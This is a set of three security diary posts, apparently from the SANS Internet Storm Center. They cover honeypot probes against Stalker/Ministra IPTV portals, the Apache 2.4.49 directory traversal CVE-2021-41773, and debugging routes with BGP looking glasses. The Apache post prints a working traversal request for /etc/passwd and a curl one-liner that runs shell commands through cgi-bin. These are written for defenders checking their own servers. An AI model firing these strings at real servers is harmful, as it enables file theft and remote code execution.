If you would start a company like this: How would you name it? Of course, someone already created a company like this and called it "Stalker" (no kidding!). Then they hired a legal team and "proper" executives, so they renamed it to Ministra (sounds much… well… anyway. it isn't called Stalker at least). But as so often, the original company name survived in their software, and that attracted my attention to these log entries in my honeypot:

GET /stalker_portal/c/version.js HTTP/1.1

Ministra's software ("Stalker Portal") is typically installed on set-top boxes that will then connect to Ministra and various service providers to retrieve content. They had some interesting vulnerabilities in the past, including remote code execution vulnerabilities [1]. There appear to be hundreds of streaming services using this platform.

The request above attempts to download the file version.js, which will tell the attacker what version of the software you are running. We do run HTTP honeypots on different ports, and interestingly, these requests come in almost equally distributed on these ports:

 

Distribution of Requests among ports

But are these bots just looking for what version you are running? They certainly have more in mind looking at other requests from the same botnet:

HEAD /
GET /system_api.php
GET /c/version.js
GET /
GET /stalker_portal/c/version.js
GET /streaming/clients_live.php
GET /stream/live.php
GET /flu/403.html
GET /b2.php?a=165.22.51.183

The "system_api.php," "version.js," "live.php," and "clients_live.php" requests are related to the Stalker Portal software. They may, in some cases, allow an attacker to download content from the device.

The main purpose of these requests is likely not to compromise the device but to steal content or use the device remotely, for example, to find devices with subscriptions that can stream content from other countries?

flu/403.html and b2.php are likely unrelated (also seeing less of these requests from this particular network).

[1] https://research.checkpoint.com/2019/we-decide-what-you-see-remote-code-execution-on-a-major-iptv-platform/
 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Apache 2.4.49 Directory Traversal Vulnerability (CVE-2021-41773), (Wed, Oct 6th)

This post was originally published on this site

The Apache Software Foundation yesterday released version 2.4.50 of its flagship Apache webserver [1]. This release fixes an easily exploited directory traversal vulnerability.

BLOF: This directory traversal vulnerability only affects a specific Apache version, 2.4.49, which was downloadable after September 15th 2021 from the apache.org website. It is not included in any Linux distributions. The vulnerability can be used to read arbitrary files from the server as long as the user the webserver is running as has read access. Code execution may be possible if mod_cgi is enabled and configured. Windows is vulnerable just like Linux.

Web servers typically define a "Document Root" or "WebRoot." All URLs are translated to files inside that directory. If your "Document Root" is "/html," and a user accesses "example.com/index.html," the webserver will translate this URI to "/html/index.html." Directory traversal is a well-known problem. A user could specify "example.com/../etc/passwd" to retrieve the "/etc/passwd" file. And web servers have taken care of this with some success ever since early humans created web servers.

One reoccurring issue has been URL encoding. It is wonderful (and somewhat common) to encode characters in a URL using URL encoding. Instead of the character itself, the hexadecimal ASCII code is used and prefixed with a '%' sign. For example, %2e will be interpreted as a '.'. 

In Apache 2.4.49, code to normalize and validate the URL was "simplified." Likely, this caused the directory traversal issue to "sneak in." Can't blame the developers too much for it. It looks like the affected "util.c" file was last significantly updated in 1996, according to the header. That was around the last time I seriously touched C. So I am not qualified to blame anybody for this mistake. But using my limited C powers, this looks like the important section:

apache commit comment

if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
  /* Wind w back to remove the previous segment */
  if (w > 1) {
    do {
      w--;
    } while (w && !IS_SLASH(path[w - 1]));
  }
  else {
    /* Already at root, ignore and return a failure
     * if asked to.
     */
  if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
    ret = 0;
  }
}

/* Move l forward to the next segment */
l += 2;
if (path[l]) {
  l++;
}
continue;
}

Mostly showing this here to demonstrate that it isn't that easy.

The end effect: As long as a "." was URL encoded, it was not recognized as a. "," and we got good old directory traversal back.

With this vulnerability, an attacker can read arbitrary files as long as the webserver has read access to the respective file. The vulnerability is easy enough to exploit and is already widely exploited. An attacker will typically first try to look for /etc/passwd on Unix systems. /etc/passwd is always present and readable (unless you have some additional restrictions enabled around it). The attacker will verify the vulnerability and figure out how many ".." are needed to get to the file system root.

A typical exploit attempt will look like this:

"GET /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 

Now the big question: Can you do RCE by prefixing the URL with "cgi-bin." This would be similar to the exploitation of a similar IIS 4/5 vulnerability [2]. 

The simple answer: yes… if mod-cgi is enabled. In this case, a URL prefixed with "/cgi-bin/" (or whatever directory is defined for mod_cgi) leads to code execution. For example:

curl --data "echo;id" 'http://127.0.0.1/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

(based on Twitter/snyff)

So what do you need to do?

  1. Make sure you are not running Apache 2.4.49. Apache 2.4.49 was released on September 15th, 2021, and is not included in any Linux distribution I am aware of. You may be running this version if you download the Apache webserver directory from apache.org.
  2. Double-check by attempting the exploit string shown above.
  3. Maybe add some WAF rules for it if you feel like it.

 

[1] https://httpd.apache.org/security/vulnerabilities_24.html
[2] https://www.kb.cert.org/vuls/id/111677


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Looking Glasses: Debugging Network Connectivity Issues, (Tue, Oct 5th)

This post was originally published on this site

Yesterday's Facebook outage showed yet again the fragility of the Internet's routing infrastructure. A lot has been written about various deficiencies of BGP, the Border Gateway Protocol. But all too often, the problem isn't the protocol but the people (or scripts) administering the routers. Our ISC website did suffer a couple of outages last year due to Verizon misconfiguring BGP (sadly… several times within a few days). Facebook's outage appears to be a misconfiguration as well, according to some early statements from Facebook [1].

So how do you debug these routing issues, in particular, if they are beyond your control? Or what to do next if DNS isn't the problem for a change?

One useful tool is "Looking Glasses." These are websites that various ISPs, and in some cases, Universities and others have created. These websites will allow you to query the routing table of various routers. Before you read any further: These tools are meant for occasional manual debugging (and most try to enforce this via captchas and rate-limits). They are not meant to be used by automated scripts. If you want automated alerting about routing issues: Check commercial services like BGPMon, Thousandeyes, and Kentik.

The routing table isn't the same for every router on the Internet. It is always good to query routing issues from different locations, which is why these "Looking Glass" sites are so useful.

First of all: Where do you find them? There is a nice web page, http://www.bgplookingglass.com, that lists public-looking glasses. Personally, I like the CenturyLink one (https://lookingglass.centurylink.com). It does provide a wide range of locations. Also, it reminds me of Don Smith, who worked for CenturyLink. I will use the CenturyLink site for my examples here. 

Let's use "DShield.org" as an example. The current IP address for DShield.org is 159.203.71.83. A quick "whois" shows that the IP address is owned by DigitalOcean and part of AS14061.

# whois.arin.net

NetRange:       159.203.0.0 - 159.203.255.255
CIDR:           159.203.0.0/16
NetName:        DIGITALOCEAN-159-203-0-0
NetHandle:      NET-159-203-0-0-1
Parent:         NET159 (NET-159-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS14061
Organization:   DigitalOcean, LLC (DO-13)

Note that the AS information in whois is not always current. But it is a good start to tell you where you *should* find that IP address.

Let us start with that information and see what we get from BGP via CenturyLink:

CenturyLink Looking Glass Form

The output you will get back is essentially what you would have gotten from the router's command line:

HOUSTON TX USA Bgp results for: 159.203.0.0/16

show router bgp routes 159.203.0.0/16 ipv4 hunt

=============================================================================== 
BGP Router ID:4.69.182.78 AS:3356 Local AS:3356 
=============================================================================== 
Legend - 
Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid 
l - leaked, x - stale, > - best, b - backup, p - purge 
Origin codes : i - IGP, e - EGP, ? - incomplete 

=============================================================================== 
BGP IPv4 Routes 
=============================================================================== 
No Matching Entries Found. 
===============================================================================

 

No Matching Entries Found? Is DShield.org down? …. no. And this is one of the issues: DigitalOcean owns 159.203.0.0/16, but they choose not to advertise the entire block. They may use different parts of that /16 in different datacenters. One quick way to figure out what prefix our IP is part of is to use Team Cymru's DNS service (they also operate a whois service with the same information, but I prefer the DNS version)

% dig +short 83.71.203.159.origin.asn.cymru.com TXT
"14061 | 159.203.64.0/20 | US | arin | 2015-08-10"

It so looks like that DigitalOcean uses a /20. Let's redo our query using this /20.

We now receive a lengthy response:

show router bgp routes 159.203.64.0/20 ipv4 hunt

=============================================================================== 
BGP Router ID:4.69.182.78 AS:3356 Local AS:3356 
=============================================================================== 
Legend - 
Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid 
l - leaked, x - stale, > - best, b - backup, p - purge 
Origin codes : i - IGP, e - EGP, ? - incomplete 

=============================================================================== 
BGP IPv4 Routes 
=============================================================================== 
------------------------------------------------------------------------------- 
RIB In Entries 
------------------------------------------------------------------------------- 
Network : 159.203.64.0/20 
Nexthop : 4.69.182.68 
Path Id : None 
From : 4.69.182.68 
Res. Protocol : LDP Res. Metric : 20000 
Res. Nexthop : 4.69.200.153 (LDP) 
Local Pref. : 100 Interface Name : NotAvailable 
Aggregator AS : None Aggregator : None 
Atomic Aggr. : Not Atomic MED : 0 
AIGP Metric : None 
Connector : None 
Community : 3356:3 3356:22 3356:100 3356:123 3356:575 
3356:901 3356:2039 3356:11352 
Cluster : 4.69.182.68 0.0.7.2 0.0.7.14 
Originator Id : 4.69.184.239 Peer Router Id : 4.69.182.68 
Fwd Class : None Priority : None 
Flags : Used Valid Best IGP Group-Best 
Route Source : Internal 
AS-Path : 14061 
Route Tag : 0 
Neighbor-AS : 14061 
Orig Validation: NotFound 
Source Class : 0 Dest Class : 0 
Add Paths Send : Default 
Last Modified : 15h03m56s 

The router we selected has multiple "peers." Each peer will exchange routing information with this router resulting in multiple "RIB-in" entries. I am only displaying one of the entries above. Discrepancies in these entries could indicate a problem with information received from a particular router. But they do not have to be identical. Sometimes, there may be a good reason for one router to advertise slightly different information. (RIB = Routing Information Base. The internal database routers use to store routing information).

The important part for us is the "AS-Path" line. I highlighted it above for visibility. It lists the networks that the packet will pass through to reach the destination, starting with the particular router we used to issue this query. In our case, the result is pretty simple. DigitalOcean peers directly with CenturyLink. The AS "Path" in this case is just DigitalOcean's AS, which will receive the packet next.

What you should be looking for is loops (the same ASN showing up multiple times in an AS-Path). Or packets passing through ASNs you did not expect (for example in geographic locations that do not make sense). 

Are you able to get the same information via "traceroute"? Yes and no. The route displayed by traceroute should follow the route communicated via BGP. But not all routers will send ICMP errors back. Many Looking Glass sites do include traceroute as an option so you may run a traceroute from the router to confirm what you are seeing in BGP. A packet may pass through an AS using multiple routers. You will see more "hops" with traceroute and traceroute may identify issues within an AS that are not necessarily visible in BGP.

[1] https://engineering.fb.com/2021/10/04/networking-traffic/outage/

[2] http://www.bgplookingglass.com

[3] https://lookingglass.centurylink.com


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.